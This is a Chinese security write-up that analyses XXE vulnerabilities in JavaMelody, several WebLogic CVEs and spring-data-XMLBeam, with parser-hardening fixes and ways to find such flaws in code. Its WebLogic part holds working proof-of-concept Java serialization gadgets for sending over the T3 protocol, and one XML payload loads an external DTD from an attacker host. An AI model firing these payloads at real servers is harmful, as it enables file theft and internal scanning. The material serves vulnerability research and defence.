Java XXE漏洞典型場景分析


本文首發於oppo安全應急響應中心:

https://mp.weixin.qq.com/s?__biz=MzUyNzc4Mzk3MQ==&mid=2247485488&idx=1&sn=65098eb75e035ff2f90d1ea552c4100a&chksm=fa7b097ccd0c806a40dd62a1f629b4753dc4b57e6af0ad618656234c46f4dfeef01140ce25a4&mpshare=1&scene=23&srcid=&sharer_sharetime=1586263198516&sharer_shareid=ae6683d6c0e7df9a0b7c15e7cacf6b3c#rd

0x01 前言:

  XML 的解析過程中若存在外部實體,若不添加安全的XML解析配置,則XML文檔將包含來自外部 URI 的數據。這一行為將導致XML External Entity (XXE) 攻擊,從而用於拒絕服務攻擊,任意文件讀取,掃內網掃描。以前對xxe的認識多停留在php中,從代碼層面而言,其形成原因及防護措施較為單一,而java中依賴於其豐富的庫,導致解析xml數據的方式有多種,其防御手段也有着種種聯系,本文主要從幾個cve的分析,了解java中xxe的常用xml解析庫、xxe的形成原因、java中xxe的防護手段以及如何挖掘java中的xxe。

0x02 XXE相關分析:

1.JavaMelody組件XXE

JavaMelody是一個用來對Java應用進行監控的組件。通過該組件,用戶可以對內存、CPU、用戶session甚至SQL請求等進行監控,並且該組件提供了一個可視化界面給用戶使用。

默認情況下只要將其添加pom依賴中,其將隨web服務一起啟動,所以不需要什么權限即可訪問此路由,若路徑泄露如下圖所示本來就會泄露一些敏感信息

1.1 漏洞點分析

在monitor的filter匹配之后將會對請求的http請求內容做處理獲取請求類型,在net/bull/javamelody/PayloadNameRequestWrapper中在處理當content-type為以下兩種情況:

1.contentType.startsWith("application/soap+xml")

2.contentType.startsWith("text/xml") || requests.getheader("SOAPAction")

部分函數調用棧如下圖所示:

在content type滿足xml數據請求規則后調用parseSoapMethodName來對http請求內容做解析,這個函數就是漏洞所在處

這里使用xmlInputFactor工廠類,該類與DocmentBuilderFactory一樣都可以設置一些feature來規范化xml處理過程,那么問題就是默認情況下dtd解析和外部實體都是可以使用的,如下兩條配置即為導致xxe的默認配置

<tr><td>javax.xml.stream.isSupportingExternalEntities</td><td>Resolve external parsed entities</td><td>Boolean</td><td>Unspecified</td><td>Yes</td></tr>
<tr><td>javax.xml.stream.supportDTD</td><td>Use this property to request processors that do not support DTDs</td><td>Boolean</td><td>True</td><td>Yes</td></tr>

在xmlInputFactor類的文件中就可以找到默認的一些feature,我們可以將feature理解為為了解析xml而提供的配置選項

 pom依賴:

        <dependency>
            <groupId>net.bull.javamelody</groupId>
            <artifactId>javamelody-spring-boot-starter</artifactId>
            <version>1.73.1</version>
        </dependency>

1.2 代碼層面修復

那么在該組件的新版本中對應的修復如下圖所示,默認情況下在創建xml解析對象之前設置工廠的feature禁用掉dtd和外部實體,從而防御xxe

 

1.3 如何避免xxe

       在實際的開發中,對於xml數據解析流程不需要外部實體參與的情況,設置feature將其禁用。在確定組件版本對xml的解析已經禁用掉外部實體后,也要設計filter來對該功能的訪問進行鑒權操作,防止敏感功能被越權訪問。

2.weblogic中的xxe

  這節主要分析weblogic中的幾個xxe,包括CVE-2019-2647-CVE2019-2650以及CVE2019-2888,那么這幾個洞的原因都是weblogic依賴的jar包中涉及xml數據處理時默認情況下沒有做好外部實體限制措施,導致可以通過T3協議進行序列化payload發送,從而利用外部實體進行xxe

2.1 漏洞點分析  

  第一處是是Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/reliability/WsrmServerPayloadContext,從weblogic輸入流處理到xml數據解析入口的部分調用棧如下圖所示:

  在WsrmServerPayloadContext的readEndpt方法中直接就能發現存在xml解析,其中使用DocumentBuilderFactory類作為解析工廠類,這里並沒有添加任何feature限制外部實體的加載,所以只需要關心var14是否可控

那么在WsrmServerPayloadContext的readExternal方法調用了readEndpt方法,該方法將在反序列化時自動調用,與通常的readObject相類似,而readEndpt中的var14又來自此時的var1(payload 輸入流),所以滿足可控條件

那么從反序列化到xxe的入口點就是如此,接下來只需要構造滿足條件的反序列化數據流通過t3協議發送到weblogic的7001端口即可,找到該類的序列化時調用的函數然后跟蹤其輸出流就行

在writeExternal中判斷this.fromEndpt不為null時,調用writeEndpt傳入輸出流, 可以看到this.fromEndpt實際上是EndpointReference的實例,根據方法名以及入口參數盲猜要將該類的實例寫進輸出流

那么實際上該函數的功能也主要是通過XMLSerializer的serlialize處理EndpointReference的返回值(Element類的實例)后最終存儲為字節數組,並在輸出流中寫入字節數組和其長度,那么XMLSerializer的serialize方法的實現了3種重載,分別可以傳入Element,DocumentFragment,Document,那么實際上構造xml的payload時如果使用Element型的重載,那么實際上寫入的序列化數據中包含的xml數據外部實體將被解析最終只留下節點元素,所以為了在payload中保留完整的xml的payload,需要使用Document型的重載,因此這里需要重寫WsrmServerPayloadContext的writeEndpt方法即可,我們只需刪除jar包中對應的class字節碼文件重新打包引入,然后本地新建與其包名類名一致的該類即可,從而定制如我們目標相符合的序列化數據(接下來幾個weblogic的xxe payload本地構造方法均與此一樣)

 構造結構如上圖所示,我們知道DocumentBuilder的parse處理xml文件后將返回Document,因此我們只需要將處理結果再傳入serialize函數即可達成目標

 

 重寫部分如下所示:

private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException, ParserConfigurationException, SAXException {
        ByteArrayOutputStream var3 = new ByteArrayOutputStream();
        OutputFormat var4 = new OutputFormat("XML", (String)null, false);
        XMLSerializer var5 = new XMLSerializer(var3, var4);
        Document doc = null;
        Element element = null;
        DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
        DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
        doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml");
        var5.serialize(doc);

那么根據之前的分析只需賦值his.fromEndpt為EndpointReference的實例,然后我們自己在重寫的writeEndpt方法中調用DocumentBuilder的parse解析xml的payload拿到document即可

poc如下:

import weblogic.wsee.addressing.EndpointReference;
import weblogic.wsee.reliability.WsrmServerPayloadContext;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class weblogicxxe1 {
    public static void main(String[] args) throws IOException {
        Object instance = getObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static Object getObject() {
        EndpointReference fromEndpt = (EndpointReference) new EndpointReference();
        WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
        try {
            Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
            f1.setAccessible(true);
            f1.set(wspc, fromEndpt);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wspc;
    }
}

生成的poc如下所示,序列化的數據包含完整的xml payload,然后使用t3協議直接打即可,由請求也可以看到的確在反序列化的過程中解析了xml並加載了外部實體

 

第二處位於Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/message/UnknownMsgHeader類,該類的readExternal方法中直接存在沒有任何防御措施的xml解析,使用的仍為DocumentBuilderFactory,從weblogic輸入流處理到xml數據解析入口的部分調用棧如下圖所示:

在UnknownMsgHeader的readExternal方法中xml解析時的parse方法入口參數var9主要來源於輸入流Objectinput,可控,那么只需構造相應的序列化數據即可

 

找到其writeExternal方法,這里可以看到其寫入xml payload時也使用的為XMLSerializer.serialize,這里寫入的xmlheader也可以進行替換成xml解析后的Document類的實例,但是這里要用到this.qname屬性,並向輸出流寫入該屬性的三個值,由於這三個值均為字符串並且並未規定格式,因此我們只需任意賦值即可

修改其writeExternal方法如下:

public void writeExternal(ObjectOutput var1) throws IOException{
        var1.writeUTF("tr1ple");
        var1.writeUTF("tr1ple");
        var1.writeUTF("tr1ple");
        ByteArrayOutputStream var2 = new ByteArrayOutputStream();
        OutputFormat var3 = new OutputFormat("XML", (String)null, false);
        XMLSerializer var4 = new XMLSerializer(var2, var3);
        Document doc = null;
        DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
        DocumentBuilder dbBuilder = null;
        try {
            dbBuilder = dbFactory.newDocumentBuilder();
            doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml");
        } catch (ParserConfigurationException e) {
            e.printStackTrace();
        } catch (SAXException e) {
            e.printStackTrace();
        }
        var4.serialize(doc);

 poc:

import org.w3c.dom.Element;
import weblogic.wsee.message.UnknownMsgHeader;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; public class weblogicxxe2 { public static void main(String[] args) throws IOException { Object instance = getObject(); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe3")); out.writeObject(instance); out.flush(); out.close(); } public static Object getObject() { UnknownMsgHeader umh = new UnknownMsgHeader(); return umh; } }

生成序列化數據后用t3協議發送即可觸發xxe

第三處位於Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/reliability/WsrmSequenceContext類,在其readEndpt方法中同樣存在與前兩個分析中相似的處理流程,使用DocumentBuilder來解析包含xml payload的輸入流,從weblogic輸入流處理到xml數據解析入口的部分調用棧如下圖所示:

 在其readExternal方法中調用了readEndpt方法,這里var2為我們構造的xml數據的長度,所以肯定大於零

 

那么只需要按照其writeEndpt規范的邏輯寫就行,我們只需在調用serialize前控制其入口參數的值即可

 更改后的writeExternal如下:

private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException {
        try {
            DocumentBuilderFactory var3 = DocumentBuilderFactory.newInstance();
            var3.setNamespaceAware(true);
            DocumentBuilder var4 = var3.newDocumentBuilder();
            Document var5 = var4.newDocument();
            Element var6 = var5.createElementNS(this.rmVersion.getNamespaceUri(), weblogic.wsee.reliability.WsrmConstants.Element.ACKS_TO.getQualifiedName(this.rmVersion));
            DOMUtils.addNamespaceDeclaration(var6, this.rmVersion.getPrefix(), this.rmVersion.getNamespaceUri());
            var1.write(var6);
            ByteArrayOutputStream var7 = new ByteArrayOutputStream();
            OutputFormat var8 = new OutputFormat("XML", (String)null, false);
            XMLSerializer var9 = new XMLSerializer(var7, var8);
            Document doc = null;
            DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
            DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
            doc = dbBuilder.parse(System.getProperty("user.dir")+"/src/main/resources/text.xml"); 
            var9.serialize(doc);

poc:

import weblogic.wsee.addressing.EndpointReference;
import weblogic.wsee.reliability.WsrmSequenceContext;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class weblogicxxe3 {
    public static void main(String[] args) throws IOException {
        Object instance = getObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe4"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

    public static Object getObject() {
        EndpointReference  end = new EndpointReference();
        WsrmSequenceContext umh = new WsrmSequenceContext();

        try {
            Field f1 = umh.getClass().getDeclaredField("acksTo");
            f1.setAccessible(true);
            f1.set(umh, end);

        } catch (Exception e) {
            e.printStackTrace();
        }
         return umh;
    }
}

 第四處位於Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/wsee/wstx/internal/ForeignRecoveryContext類,從weblogic輸入流處理到反序列化入口的過程部分調用棧如下圖所示:

  在ForeignRecoveryContext的類文件定義中如果直接找並未發現xml的處理流程,該處的利用相較於前三處構造來說還是稍微精巧一點,需要了解一下代碼的基本處理邏輯。網上也沒找到相應的具體分析,只有xxlegend師傅的一些簡單復現分析,先給出其poc

import weblogic.wsee.wstx.internal.ForeignRecoveryContext;
import weblogic.wsee.wstx.wsat.Transactional.Version;
import javax.xml.ws.EndpointReference;

import javax.transaction.xa.Xid;
import javax.xml.transform.Result;
import javax.xml.transform.stream.StreamResult;
import java.io.*;
import java.lang.reflect.Field;

public class weblogicxxe4 {
    public static void main(String[] args) throws IOException {
        Object instance = getObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe1"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

    public static class MyEndpointReference extends EndpointReference {

        @Override
        public  void writeTo(Result result){
            byte[] tmpbytes = new byte[4096];
            int nRead;
            try{
                InputStream is = new FileInputStream(System.getProperty("user.dir")+"/src/main/resources/text.xml");

                while((nRead=is.read(tmpbytes,0,tmpbytes.length)) != -1){
                    ((StreamResult)result).getOutputStream().write(tmpbytes,0,nRead);
                }
            }catch (Exception e){
                e.printStackTrace();
            }
            return;
        }
    }
    public static Object getObject() {
        Xid xid = new weblogic.transaction.internal.XidImpl();
        Version v = Version.DEFAULT;
        ForeignRecoveryContext frc = new ForeignRecoveryContext();
        try{
            Field f = frc.getClass().getDeclaredField("fxid");
            f.setAccessible(true);
            f.set(frc,xid);
            Field f1 = frc.getClass().getDeclaredField("epr");
            f1.setAccessible(true);
            f1.set(frc, new MyEndpointReference());
            Field f2 = frc.getClass().getDeclaredField("version");
            f2.setAccessible(true);
            f2.set(frc,v);
        }catch(Exception e){
            e.printStackTrace();
        }
        return frc;
    }
}

  先看看其writeExternal方法,箭頭所指之處就是構造payload的關鍵之處,this.epr是抽象類EndpointReference的對象,所以這里其定義的write函數肯定要被其子類實現,那么這里實際上是將結果寫入到var2中,那么poc中只需要繼承EndpointReference並讀取我們的xml payload寫入到var2中即可,之后將通過var1寫入到序列化數據中

  那么在其反序列化過程中調用readExternal將通過readFrom方法讀取我們的xml payload,接下來就是一大段初始化的過程,直到加載javax.xml.ws.spi.Provider后調用其readEndpointReference來對xml數據流進行讀取

  從ForeignRecoveryContext的readExternal到漏洞觸發點部分調用棧如下圖所示:  

  接下來就到了xxe的觸發點,這里解析xml的類也與之前分析的三個cve不同,這里的Unmarshaller 類將 XML 數據反序列化解析為java對象,然而這里並未添加任何防護措施,因此導致可以注入外部實體,從而產生xxe

 

  第五處存在於Oracle/Middleware/wlserver_10.3/server/lib/weblogic.jar下的weblogic/servlet/ejb2jsp/dd/EJBTaglibDescriptor類,在該類的load函數中存在使用DocumentBuilderFactory進行xml解析,然后該工廠類是weblogic實現的子類,其中根據本地的配置weblogic.xml.jaxp.allow.externalDTD的值來選擇是否設置以下兩條featue來限制外部實體的加載,然而默認情況下可以加載外部實體,因此這兩條feature失效

                this.delegate.setAttribute("http://xml.org/sax/features/external-general-entities", allow_external_dtd);
                this.delegate.setAttribute("http://xml.org/sax/features/external-parameter-entities", allow_external_dtd);

從weblogic輸入流處理到反序列化入口的過程部分調用棧如下圖所示:

 在其load函數中只需控制var4即可,其為輸入流可本地構造

 那么只需要找到在何處調用了load方法即可,可以看到在其反序列化時調用的readExternal中將調用load方法,並且從數據流走向可以判斷parse解析的入口參數是可控的

那么只需要按照writeExternal的邏輯構造序列化數據即可,其調用toString來傳入EJBTaglibDescriptor的實例

在tostring方法中又調用該實例的toxml來將程序原來想要輸出的數據輸出到xmlwriter中並最終返回一個xml字符串輸出為序列化數據,其中xmlwriter的println方法是真正負責寫入數據的,其寫入的即為xml數據

 

那么我們選擇直接控制寫入xmlwriter的數據即可

 

 重寫toxml如下:

  public void toXML(XMLWriter var1) {
        var1.println("<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" +
                "<!DOCTYPE data SYSTEM \"http://192.168.3.199:8989/1.dtd\" [\n" +
                "        <!ELEMENT data (#PCDATA)>\n" +
                "        ]>\n" +
                "<data>data</data>");
    }
}

然后本地覆蓋原生EJBTaglibDescriptorc.class即可

poc:

import weblogic.servlet.ejb2jsp.dd.EJBTaglibDescriptor;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class weblogicxxe5 {
    public static void main(String[] args) throws IOException {
        Object instance = getObject();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe3"));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static Object getObject() {
        EJBTaglibDescriptor umh = new EJBTaglibDescriptor();
        return umh;
    }
}

2.2 代碼層面修復

那么weblogic的這幾個xxe都要多虧與T3協議的助攻,只需要在weblogic類加載路徑中可以利用的類,只需要本地構造好payload,然后將序列化的數據以T3協議格式發送至其7001端口即可,那么weblogic在更新的補丁中,也針對這些類添加了相應的feature禁掉了外部實體,從而防止進行xxe攻擊

http://xml.org/sax/features/external-general-entities
http://xml.org/sax/features/external-parameter-entities
http://apache.org/xml/features/nonvalidating/load-external-dtd

並且通過以下屬性禁用掉了xinclude並關掉了外部實體引用

setXIncludeAware(false)
setExpandEntityReferences(false)

2.3 如何避免xxe

  2.2中從代碼層面上單個點添加代碼,實際上這種方法只是單純防御了這幾個類,如果在后續的開發中加入新的jar包中存在類有未添加feature的xml解析操作,並且能夠進行xml操作的類可以進行序列化,那么仍然面臨着導致xxe的風險。T3協議是非常重要的WebLogic內部的通訊協議,若直接禁用T3協議則有可能影響到正常業務運行,那么可以在weblogic控制台的篩選器配置中設置連接篩選器規則進行白名單限制,選擇weblogic.security.net.ConnectionFilterImpl,將允許的IP地址或網段設置為allow,然后將除此之外的所有IP地址或網段設置為deny。

3.spring-data-XMLBeam XXE

3.1 漏洞點分析    

該洞主要xmlbeam這個庫的問題,而spring-data-commons又使用了xmlbeam來處理客戶端傳輸的xml文件,解析其內容然后服務端響應返回,那么在解析xml中默認允許加載外部實體,從而導致xxe,屬於有回顯xxe,部分調用棧如下圖所示,其中由Streaminput的readDocument進入xml數據的解析

 

又是熟悉的DocumentBuilder,可以看到在創建解析工廠以及調用parse解析之間並未添加任何feature來限制外部實體

 

pom依賴:

        <dependency>
            <groupId>org.xmlbeam</groupId>
            <artifactId>xmlprojector</artifactId>
            <version>1.4.13</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.data</groupId>
            <artifactId>spring-data-commons</artifactId>
            <version>2.0.5.RELEASE</version>
        </dependency>

3.2 代碼層面修復

xmlbeam用的為DocumentBuilderFactory來創建dom工廠,修復的為xmlbeam的處理xml的處理文件,修復后主要為設置一些features,用於禁止外部實體的加載,另外還添加了禁止內聯 DocTypeDtd的加載,feature通過dom工廠的setFeature函數進行設置

 本質處理流程沒問題,只是處理前需要做一些防護措施,對於不需要的功能直接禁用掉

3.3 如何避免xxe

  對於1.4.15版本之前未升級的xmlxbeam庫,我們可自己在創建xml解析工廠類實例后為其設置feature禁用掉外部實體或者直接升級依賴版本到1.4.15以后。

0x03 JAVA中XXE 挖掘

  java中解析xml的庫眾多,那么白盒中可以通過正則匹配導入相應xml解析庫的類,再加以手工檢測來判斷是否存在,比如正則匹配以下常用庫

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester

afanti師傅在挖掘weblogic的xxe時即通過匹配可序列化以及利用xml相關解析的庫然后手工檢測,其項目地址為:https://github.com/Afant1/JavaSearchTools,那么根據工具要求首先要通過jd-jui將jar包中的字節碼文件恢復為java文件

 

以默認格式保存后即可使用javasearchtools.jar進行源碼掃描

 

 

 

 

 如下圖所示該工具內置的正則能夠匹配出我們之前分析的幾個存在xxe漏洞的文件,當然該工具可能存在誤報,只是作為輔助來縮小我們搜索的范圍,那么接下來只需手工去掃描出來的類中去逐個確定即可

那么該工具判斷xxe核心就是如下圖所示的兩個布爾值

 

 

 分別是兩種正則匹配規則,xml匹配大量內置xml解析庫,是否可反序列化去匹配反序列化中的關鍵字,同時滿足這兩個條件的類將被篩選

 

 

 

那么挖掘其他地方的xxe時也可以使用這種正則匹配的方法來輔助檢測,比如對於上面分析JavaMelody和xbeam時並不需要類具有序列化的特性,因此靈活根據實際制定匹配規則即可在其他組件的jar包中尋找可能存在xxe的點

0x04 總結

經過上面的分析,我們能夠了解java中xxe的形成原因以及哪些xml處理類默認情況下能夠導致xxe,當然還有其它類本文中可能未曾提及,但道理都是相通的,本文中分析的JavaMelody、Weblogic以及xbeam核心問題還是在涉及xml數據解析時引入外部可控的xml數據,但自身並未考慮是否可能產生xxe漏洞,未做到禁用外部實體的防御措施。https://find-sec-bugs.github.io/這個網站上也列出了常見的xml處理庫的標准防御方法,那么總的來說,基於xxe的防御主要為以下三種:

1.設置feature為XMLConstants.FEATURE_SECURE_PROCESSING為true

這種方法實際上還是會加載外部實體但是會調用SecuritySupport.checkAccess中進行判斷,判斷中將外部實體的協議和允許的白名單協議進行匹配,因為XMLConstants.FEATURE_SECURE_PROCESSING將設置Property.ACCESS_EXTERNAL_DTD和Property.ACCESS_EXTERNAL_SCHEMA兩個屬性設置為空,而解析節點之前將根據這兩個屬性來設置fAccessExternalDTD為空,接着解析節點過程中如果加載外部實體為true,所以會進入checkaccess函數里面以fAccessExternalDTD作為白名單協議數組,而其值已經被置空,所以實際上所有協議被禁用,從而以此方式來達到防御xxe,比如效果如下所示

2.設置feature的http://apache.org/xml/features/disallow-doctype-decl為true

從該feature的字面意思也能猜到設置該值為true實際上禁用了(dtd)文檔定義類型,在解析xml文件的過程中解析Doctype時將判斷fDisallowDoctype屬性是否為true,若為true則直接報錯,所以這么設置就徹底杜絕了xxe漏洞,這種方法完全杜絕了所有dtd的聲明,包括內部實體

3.如果想使用內部實體,單純禁用外部實體則設置以下兩個值即可,則不會進行doctype的解析,從而不會報錯,xml解析其他實體正常進行

FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false); 

參考:

https://blog.spoock.com/2018/10/23/java-xxe/

https://www.leadroyal.cn/?p=914

https://www.leadroyal.cn/?p=930

https://find-sec-bugs.github.io/bugs.htm#XXE_DOCUMENT

https://xz.aliyun.com/t/7105#toc-3

https://www.cnblogs.com/-zhong/p/11246369.html

https://paper.seebug.org/906/  weblogic 多個xxe

https://blog.csdn.net/he_and/article/details/89843004


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM